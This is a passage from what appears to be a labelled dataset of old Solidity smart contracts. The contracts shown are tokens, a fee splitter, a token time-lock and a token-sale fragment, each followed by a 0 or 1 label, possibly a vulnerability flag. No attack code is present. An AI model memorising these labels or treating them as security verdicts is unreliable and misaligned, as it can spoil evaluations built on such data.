totalShares = totalShares.add(_shares);
emit PayeeAdded(_account, _shares);
}
}
contract FeeSplitterChaingear is PaymentSplitter, Ownable {
event PayeeAddressChanged(
uint8 payeeIndex,
address oldAddress,
address newAddress
);
constructor(address[] _payees, uint256[] _shares)
public
payable
PaymentSplitter(_payees, _shares)
{ }
function changePayeeAddress(uint8 _payeeIndex, address _newAddress)
external
onlyOwner
{
require(_payeeIndex < 12);
require(payees[_payeeIndex] != _newAddress);
address oldAddress = payees[_payeeIndex];
shares[_newAddress] = shares[oldAddress];
released[_newAddress] = released[oldAddress];
payees[_payeeIndex] = _newAddress;
delete shares[oldAddress];
delete released[oldAddress];
emit PayeeAddressChanged(_payeeIndex, oldAddress, _newAddress);
}
}
library ERC721MetadataValidation {
function validateName(string _base)
internal
pure
{
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
require(_baseBytes[i] >= 0x61 && _baseBytes[i] <= 0x7A || _baseBytes[i] >= 0x30 && _baseBytes[i] <= 0x39 || _baseBytes[i] == 0x2D);
}
}
function validateSymbol(string _base)
internal
pure
{
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
require(_baseBytes[i] >= 0x41 && _baseBytes[i] <= 0x5A || _baseBytes[i] >= 0x30 && _baseBytes[i] <= 0x39);
}
}
}
contract Chaingear is IChaingear, Ownable, SupportsInterfaceWithLookup, Pausable, FeeSplitterChaingear, ERC721Token {
using SafeMath for uint256;
using ERC721MetadataValidation for string;
struct DatabaseMeta {
IDatabase databaseContract;
address creatorOfDatabase;
string versionOfDatabase;
string linkABI;
uint256 createdTimestamp;
uint256 currentWei;
uint256 accumulatedWei;
}
struct DatabaseBuilder {
IDatabaseBuilder builderAddress;
string linkToABI;
string description;
bool operational;
}
DatabaseMeta[] private databases;
mapping(string => bool) private databasesNamesIndex;
mapping(string => bool) private databasesSymbolsIndex;
uint256 private headTokenID = 0;
mapping(address => uint256) private databasesIDsByAddressesIndex;
mapping(string => address) private databasesAddressesByNameIndex;
mapping(uint256 => string) private databasesSymbolsByIDIndex;
mapping(string => uint256) private databasesIDsBySymbolIndex;
uint256 private amountOfBuilders = 0;
mapping(uint256 => string) private buildersVersionIndex;
mapping(string => DatabaseBuilder) private buildersVersion;
Safe private chaingearSafe;
uint256 private databaseCreationFeeWei = 1 finney;
string private constant CHAINGEAR_DESCRIPTION = "The novel Ethereum database framework";
bytes4 private constant INTERFACE_CHAINGEAR_EULER_ID = 0xea1db66f;
bytes4 private constant INTERFACE_DATABASE_V1_EULER_ID = 0xf2c320c4;
bytes4 private constant INTERFACE_DATABASE_BUILDER_EULER_ID = 0xce8bbf93;
event DatabaseBuilderAdded(
string version,
IDatabaseBuilder builderAddress,
string linkToABI,
string description
);
event DatabaseDescriptionUpdated(string version, string description);
event DatabaseBuilderDepricated(string version);
event DatabaseCreated(
string name,
address databaseAddress,
address creatorAddress,
uint256 databaseChaingearID
);
event DatabaseDeleted(
string name,
address databaseAddress,
address creatorAddress,
uint256 databaseChaingearID
);
event DatabaseFunded(
uint256 databaseID,
address sender,
uint256 amount
);
event DatabaseFundsClaimed(
uint256 databaseID,
address claimer,
uint256 amount
);
event CreationFeeUpdated(uint256 newFee);
constructor(address[] _beneficiaries, uint256[] _shares)
public
ERC721Token ("CHAINGEAR", "CHG")
FeeSplitterChaingear (_beneficiaries, _shares)
{
chaingearSafe = new Safe();
_registerInterface(INTERFACE_CHAINGEAR_EULER_ID);
}
modifier onlyOwnerOf(uint256 _databaseID){
require(ownerOf(_databaseID) == msg.sender);
_;
}
function addDatabaseBuilderVersion(
string _version,
IDatabaseBuilder _builderAddress,
string _linkToABI,
string _description
)
external
onlyOwner
whenNotPaused
{
require(buildersVersion[_version].builderAddress == address(0));
SupportsInterfaceWithLookup support = SupportsInterfaceWithLookup(_builderAddress);
require(support.supportsInterface(INTERFACE_DATABASE_BUILDER_EULER_ID));
buildersVersion[_version] = (DatabaseBuilder(
{
builderAddress: _builderAddress,
linkToABI: _linkToABI,
description: _description,
operational: true
}));
buildersVersionIndex[amountOfBuilders] = _version;
amountOfBuilders = amountOfBuilders.add(1);
emit DatabaseBuilderAdded(
_version,
_builderAddress,
_linkToABI,
_description
);
}
function updateDatabaseBuilderDescription(string _version, string _description)
external
onlyOwner
whenNotPaused
{
require(buildersVersion[_version].builderAddress != address(0));
buildersVersion[_version].description = _description;
emit DatabaseDescriptionUpdated(_version, _description);
}
function depricateDatabaseBuilder(string _version)
external
onlyOwner
whenPaused
{
require(buildersVersion[_version].builderAddress != address(0));
require(buildersVersion[_version].operational == true);
buildersVersion[_version].operational = false;
emit DatabaseBuilderDepricated(_version);
}
function createDatabase(
string _version,
address[] _beneficiaries,
uint256[] _shares,
string _name,
string _symbol
)
external
payable
whenNotPaused
returns (address, uint256)
{
_name.validateName();
_symbol.validateSymbol();
require(buildersVersion[_version].builderAddress != address(0));
require(buildersVersion[_version].operational == true);
require(databaseCreationFeeWei == msg.value);
require(databasesNamesIndex[_name] == false);
require(databasesSymbolsIndex[_symbol] == false);
return _deployDatabase(
_version,
_beneficiaries,
_shares,
_name,
_symbol
);
}
function deleteDatabase(uint256 _databaseID)
external
onlyOwnerOf(_databaseID)
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_databaseID];
IDatabase database = databases[databaseIndex].databaseContract;
require(database.getSafeBalance() == uint256(0));
require(database.getPaused() == true);
string memory databaseName = ERC721(database).name();
string memory databaseSymbol = ERC721(database).symbol();
delete databasesNamesIndex[databaseName];
delete databasesSymbolsIndex[databaseSymbol];
delete databasesIDsByAddressesIndex[database];
delete databasesIDsBySymbolIndex[databaseSymbol];
delete databasesSymbolsByIDIndex[_databaseID];
uint256 lastDatabaseIndex = databases.length.sub(1);
DatabaseMeta memory lastDatabase = databases[lastDatabaseIndex];
databases[databaseIndex] = lastDatabase;
delete databases[lastDatabaseIndex];
databases.length--;
super._burn(msg.sender, _databaseID);
database.transferOwnership(msg.sender);
emit DatabaseDeleted(
databaseName,
database,
msg.sender,
_databaseID
);
}
function fundDatabase(uint256 _databaseID)
external
whenNotPaused
payable
{
require(exists(_databaseID) == true);
uint256 databaseIndex = allTokensIndex[_databaseID];
uint256 currentWei = databases[databaseIndex].currentWei.add(msg.value);
databases[databaseIndex].currentWei = currentWei;
uint256 accumulatedWei = databases[databaseIndex].accumulatedWei.add(msg.value);
databases[databaseIndex].accumulatedWei = accumulatedWei;
emit DatabaseFunded(_databaseID, msg.sender, msg.value);
address(chaingearSafe).transfer(msg.value);
}
function claimDatabaseFunds(uint256 _databaseID, uint256 _amount)
external
onlyOwnerOf(_databaseID)
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_databaseID];
uint256 currentWei = databases[databaseIndex].currentWei;
require(_amount <= currentWei);
databases[databaseIndex].currentWei = currentWei.sub(_amount);
emit DatabaseFundsClaimed(_databaseID, msg.sender, _amount);
chaingearSafe.claim(msg.sender, _amount);
}
function updateCreationFee(uint256 _newFee)
external
onlyOwner
whenPaused
{
databaseCreationFeeWei = _newFee;
emit CreationFeeUpdated(_newFee);
}
function getAmountOfBuilders()
external
view
returns(uint256)
{
return amountOfBuilders;
}
function getBuilderByID(uint256 _id)
external
view
returns(string)
{
return buildersVersionIndex[_id];
}
function getDatabaseBuilder(string _version)
external
view
returns (
address,
string,
string,
bool
)
{
return(
buildersVersion[_version].builderAddress,
buildersVersion[_version].linkToABI,
buildersVersion[_version].description,
buildersVersion[_version].operational
);
}
function getDatabasesIDs()
external
view
returns(uint256[])
{
return allTokens;
}
function getDatabaseIDByAddress(address _databaseAddress)
external
view
returns(uint256)
{
uint256 databaseID = databasesIDsByAddressesIndex[_databaseAddress];
return databaseID;
}
function getDatabaseAddressByName(string _name)
external
view
returns(address)
{
return databasesAddressesByNameIndex[_name];
}
function getDatabaseSymbolByID(uint256 _databaseID)
external
view
returns(string)
{
return databasesSymbolsByIDIndex[_databaseID];
}
function getDatabaseIDBySymbol(string _symbol)
external
view
returns(uint256)
{
return databasesIDsBySymbolIndex[_symbol];
}
function getDatabase(uint256 _databaseID)
external
view
returns (
string,
string,
address,
string,
uint256,
address,
uint256
)
{
uint256 databaseIndex = allTokensIndex[_databaseID];
IDatabase databaseAddress = databases[databaseIndex].databaseContract;
return (
ERC721(databaseAddress).name(),
ERC721(databaseAddress).symbol(),
databaseAddress,
databases[databaseIndex].versionOfDatabase,
databases[databaseIndex].createdTimestamp,
databaseAddress.getAdmin(),
ERC721(databaseAddress).totalSupply()
);
}
function getDatabaseBalance(uint256 _databaseID)
external
view
returns (uint256, uint256)
{
uint256 databaseIndex = allTokensIndex[_databaseID];
return (
databases[databaseIndex].currentWei,
databases[databaseIndex].accumulatedWei
);
}
function getChaingearDescription()
external
pure
returns (string)
{
return CHAINGEAR_DESCRIPTION;
}
function getCreationFeeWei()
external
view
returns (uint256)
{
return databaseCreationFeeWei;
}
function getSafeBalance()
external
view
returns (uint256)
{
return address(chaingearSafe).balance;
}
function getSafeAddress()
external
view
returns (address)
{
return chaingearSafe;
}
function getNameExist(string _name)
external
view
returns (bool)
{
return databasesNamesIndex[_name];
}
function getSymbolExist(string _symbol)
external
view
returns (bool)
{
return databasesSymbolsIndex[_symbol];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_tokenId];
IDatabase database = databases[databaseIndex].databaseContract;
require(address(database).balance == 0);
require(database.getPaused() == true);
super.transferFrom(_from, _to, _tokenId);
IDatabase databaseAddress = databases[databaseIndex].databaseContract;
databaseAddress.deletePayees();
databaseAddress.transferAdminRights(_to);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
safeTransferFrom(
_from,
_to,
_tokenId,
""
);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
whenNotPaused
{
transferFrom(_from, _to, _tokenId);
require(
checkAndCallSafeTransfer(
_from,
_to,
_tokenId,
_data
));
}
function _deployDatabase(
string _version,
address[] _beneficiaries,
uint256[] _shares,
string _name,
string _symbol
)
private
returns (address, uint256)
{
IDatabaseBuilder builder = buildersVersion[_version].builderAddress;
IDatabase databaseContract = builder.deployDatabase(
_beneficiaries,
_shares,
_name,
_symbol
);
address databaseAddress = address(databaseContract);
SupportsInterfaceWithLookup support = SupportsInterfaceWithLookup(databaseAddress);
require(support.supportsInterface(INTERFACE_DATABASE_V1_EULER_ID));
require(support.supportsInterface(InterfaceId_ERC721));
require(support.supportsInterface(InterfaceId_ERC721Metadata));
require(support.supportsInterface(InterfaceId_ERC721Enumerable));
DatabaseMeta memory database = (DatabaseMeta(
{
databaseContract: databaseContract,
creatorOfDatabase: msg.sender,
versionOfDatabase: _version,
linkABI: buildersVersion[_version].linkToABI,
createdTimestamp: block.timestamp,
currentWei: 0,
accumulatedWei: 0
}));
databases.push(database);
databasesNamesIndex[_name] = true;
databasesSymbolsIndex[_symbol] = true;
uint256 newTokenID = headTokenID;
databasesIDsByAddressesIndex[databaseAddress] = newTokenID;
super._mint(msg.sender, newTokenID);
databasesSymbolsByIDIndex[newTokenID] = _symbol;
databasesIDsBySymbolIndex[_symbol] = newTokenID;
databasesAddressesByNameIndex[_name] = databaseAddress;
headTokenID = headTokenID.add(1);
emit DatabaseCreated(
_name,
databaseAddress,
msg.sender,
newTokenID
);
databaseContract.transferAdminRights(msg.sender);
return (databaseAddress, newTokenID);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28512000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xAdD2CE8B59764E5086A0A228512600dDecA808fC;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FIN is StandardToken {
string public constant name = "Financial Incentive Network Points";
string public constant symbol = "FIN";
uint8 public constant decimals = 18;
uint256 private constant OFFSET = 10 ** uint256(decimals);
uint256 private constant BILLION = (10 ** 9) * OFFSET;
uint256 private TOTAL_SUPPLY;
constructor(address _holderA, address _holderB, address _holderC) public {
balances[_holderA] = BILLION;
emit Transfer(0x0, _holderA, BILLION);
balances[_holderB] = BILLION;
emit Transfer(0x0, _holderB, BILLION);
balances[_holderC] = BILLION / 2;
emit Transfer(0x0, _holderC, BILLION / 2);
TOTAL_SUPPLY = balances[_holderA] + balances[_holderB] + balances[_holderC];
}
function totalSupply() public view returns (uint256) {
return TOTAL_SUPPLY;
}
}
interface TokenValidator {
function check(
address _token,
address _user
) external returns(byte result);
function check(
address _token,
address _from,
address _to,
uint256 _amount
) external returns (byte result);
}
interface ValidatedToken {
event Validation(
byte indexed result,
address indexed user
);
event Validation(
byte indexed result,
address indexed from,
address indexed to,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ReferenceToken is Ownable, ERC20, ValidatedToken {
using SafeMath for uint256;
string internal mName;
string internal mSymbol;
uint256 internal mGranularity;
uint256 internal mTotalSupply;
mapping(address => uint) internal mBalances;
mapping(address => mapping(address => bool)) internal mAuthorized;
mapping(address => mapping(address => uint256)) internal mAllowed;
uint8 public decimals = 18;
TokenValidator internal validator;
constructor(
string _name,
string _symbol,
uint256 _granularity,
TokenValidator _validator
) public {
require(_granularity >= 1);
mName = _name;
mSymbol = _symbol;
mTotalSupply = 0;
mGranularity = _granularity;
validator = TokenValidator(_validator);
}
function validate(address _user) internal returns (byte) {
byte checkResult = validator.check(this, _user);
emit Validation(checkResult, _user);
return checkResult;
}
function validate(
address _from,
address _to,
uint256 _amount
) internal returns (byte) {
byte checkResult = validator.check(this, _from, _to, _amount);
emit Validation(checkResult, _from, _to, _amount);
return checkResult;
}
function isOk(byte _statusCode) internal pure returns (bool) {
return (_statusCode & hex"0F") == 1;
}
function requireOk(byte _statusCode) internal pure {
require(isOk(_statusCode));
}
function name() public constant returns (string) {
return mName;
}
function symbol() public constant returns(string) {
return mSymbol;
}
function granularity() public constant returns(uint256) {
return mGranularity;
}
function totalSupply() public constant returns(uint256) {
return mTotalSupply;
}
function balanceOf(address _tokenHolder) public constant returns (uint256) {
return mBalances[_tokenHolder];
}
function isMultiple(uint256 _amount) internal view returns (bool) {
return _amount.div(mGranularity).mul(mGranularity) == _amount;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
if(validate(msg.sender, _spender, _amount) != 1) { return false; }
mAllowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return mAllowed[_owner][_spender];
}
function mint(address _tokenHolder, uint256 _amount) public onlyOwner {
requireOk(validate(_tokenHolder));
require(isMultiple(_amount));
mTotalSupply = mTotalSupply.add(_amount);
mBalances[_tokenHolder] = mBalances[_tokenHolder].add(_amount);
emit Transfer(0x0, _tokenHolder, _amount);
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
doSend(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_amount <= mAllowed[_from][msg.sender]);
mAllowed[_from][msg.sender] = mAllowed[_from][msg.sender].sub(_amount);
doSend(_from, _to, _amount);
return true;
}
function doSend(
address _from,
address _to,
uint256 _amount
) internal {
require(canTransfer(_from, _to, _amount));
mBalances[_from] = mBalances[_from].sub(_amount);
mBalances[_to] = mBalances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
function canTransfer(
address _from,
address _to,
uint256 _amount
) internal returns (bool) {
return (
(_to != address(0))
&& isMultiple(_amount)
&& (mBalances[_from] >= _amount)
&& isOk(validate(_from, _to, _amount))
);
}
}
contract Lunar is ReferenceToken {
uint256 constant DECIMAL_SHIFT = 10 ** 18;
constructor(TokenValidator _validator)
ReferenceToken("Lunar Token - SAMPLE NO VALUE", "LNRX", 1, _validator)
public {
uint256 supply = 5000000 * DECIMAL_SHIFT;
mTotalSupply = supply;
mBalances[msg.sender] = supply;
emit Transfer(0x0, msg.sender, supply);
}
}
contract SimpleAuthorization is TokenValidator, Ownable {
mapping(address => bool) private auths;
constructor() public {}
function check(
address ,
address _address
) external returns (byte resultCode) {
if (auths[_address]) {
return hex"11";
} else {
return hex"10";
}
}
function check(
address ,
address _from,
address _to,
uint256
) external returns (byte resultCode) {
if (auths[_from] && auths[_to]) {
return hex"11";
} else {
return hex"10";
}
}
function setAuthorized(address _address, bool _status) public onlyOwner {
auths[_address] = _status;
}
} | 0 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract DomonXToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "LZC";
name = "绿洲链";
decimals = 18;
_totalSupply = 20000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.24;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenController {
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount_old, uint _amount_new) public returns(bool);
}
contract DividendsDistributor {
function totalDividends() public constant returns (uint);
function totalUndistributedDividends() public constant returns (uint);
function totalDistributedDividends() public constant returns (uint);
function totalPaidDividends() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function distributeDividendsOnTransferFrom(address from, address to, uint tokens) public returns (bool success);
function withdrawDividends() public returns(bool success);
event DividendsDistributed(address indexed tokenOwner, uint dividends);
event DividendsPaid(address indexed tokenOwner, uint dividends);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract AHF_Token is ERC20Interface, Owned {
string public constant symbol = "AHF";
string public constant name = "Ahedgefund Sagl Token";
uint8 public constant decimals = 18;
uint private constant _totalSupply = 130000000 * 10**uint(decimals);
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address public dividendsDistributor;
address public controller;
bool public transfersEnabled;
constructor() public {
balances[owner] = _totalSupply;
transfersEnabled = true;
emit Transfer(address(0), owner, _totalSupply);
}
function setDividendsDistributor(address _newDividendsDistributor) public onlyOwner {
dividendsDistributor = _newDividendsDistributor;
}
function setController(address _newController) public onlyOwner {
controller = _newController;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function approve(address _spender, uint _amount) public returns (bool success) {
require(transfersEnabled);
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, allowed[msg.sender][_spender], _amount));
}
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function transfer(address _to, uint _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function () public payable {
revert();
}
function doTransfer(address _from, address _to, uint _amount) internal {
if (_amount == 0) {
emit Transfer(_from, _to, _amount);
return;
}
require((_to != 0) && (_to != address(this)));
uint previousBalanceFrom = balanceOf(_from);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
balances[_from] = previousBalanceFrom - _amount;
uint previousBalanceTo = balanceOf(_to);
require(previousBalanceTo + _amount >= previousBalanceTo);
balances[_to] = previousBalanceTo + _amount;
emit Transfer(_from, _to, _amount);
if (isContract(dividendsDistributor)) {
require(DividendsDistributor(dividendsDistributor).distributeDividendsOnTransferFrom(_from, _to, _amount));
}
}
function enableTransfers(bool _transfersEnabled) public onlyOwner {
transfersEnabled = _transfersEnabled;
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
ERC20Interface token = ERC20Interface(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
emit ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
} | 0 |
pragma solidity ^0.4.13;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract MultiOwnable {
address[] public owners;
function ownersCount() public view returns(uint256) {
return owners.length;
}
event OwnerAdded(address indexed owner);
event OwnerRemoved(address indexed owner);
constructor() public {
owners.push(msg.sender);
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address addr) public view returns (bool) {
bool _isOwner = false;
for (uint i=0; i<owners.length; i++) {
if (addr == owners[i]) {
_isOwner = true;
break;
}
}
return _isOwner;
}
function addOwner(address owner) public onlyOwner {
require(owner != address(0));
require(!isOwner(owner));
owners.push(owner);
emit OwnerAdded(owner);
}
function removeOwner(address owner) public onlyOwner {
require(owner != address(0));
require(owner != msg.sender);
bool wasDeleted = false;
for (uint i=0; i<owners.length; i++) {
if (owners[i] == owner) {
if (i < owners.length-1) {
owners[i] = owners[owners.length-1];
}
owners.length--;
wasDeleted = true;
}
}
require(wasDeleted);
emit OwnerRemoved(owner);
}
}
contract AigoTokensale is MultiOwnable {
struct InvestorPayment {
uint256 time;
uint256 value;
uint8 currency;
uint256 tokens;
}
struct Investor {
bool isActive;
InvestorPayment[] payments;
bool needUpdate;
}
event InvestorAdded(address indexed investor);
event TokensaleFinishTimeChanged(uint256 oldTime, uint256 newTime);
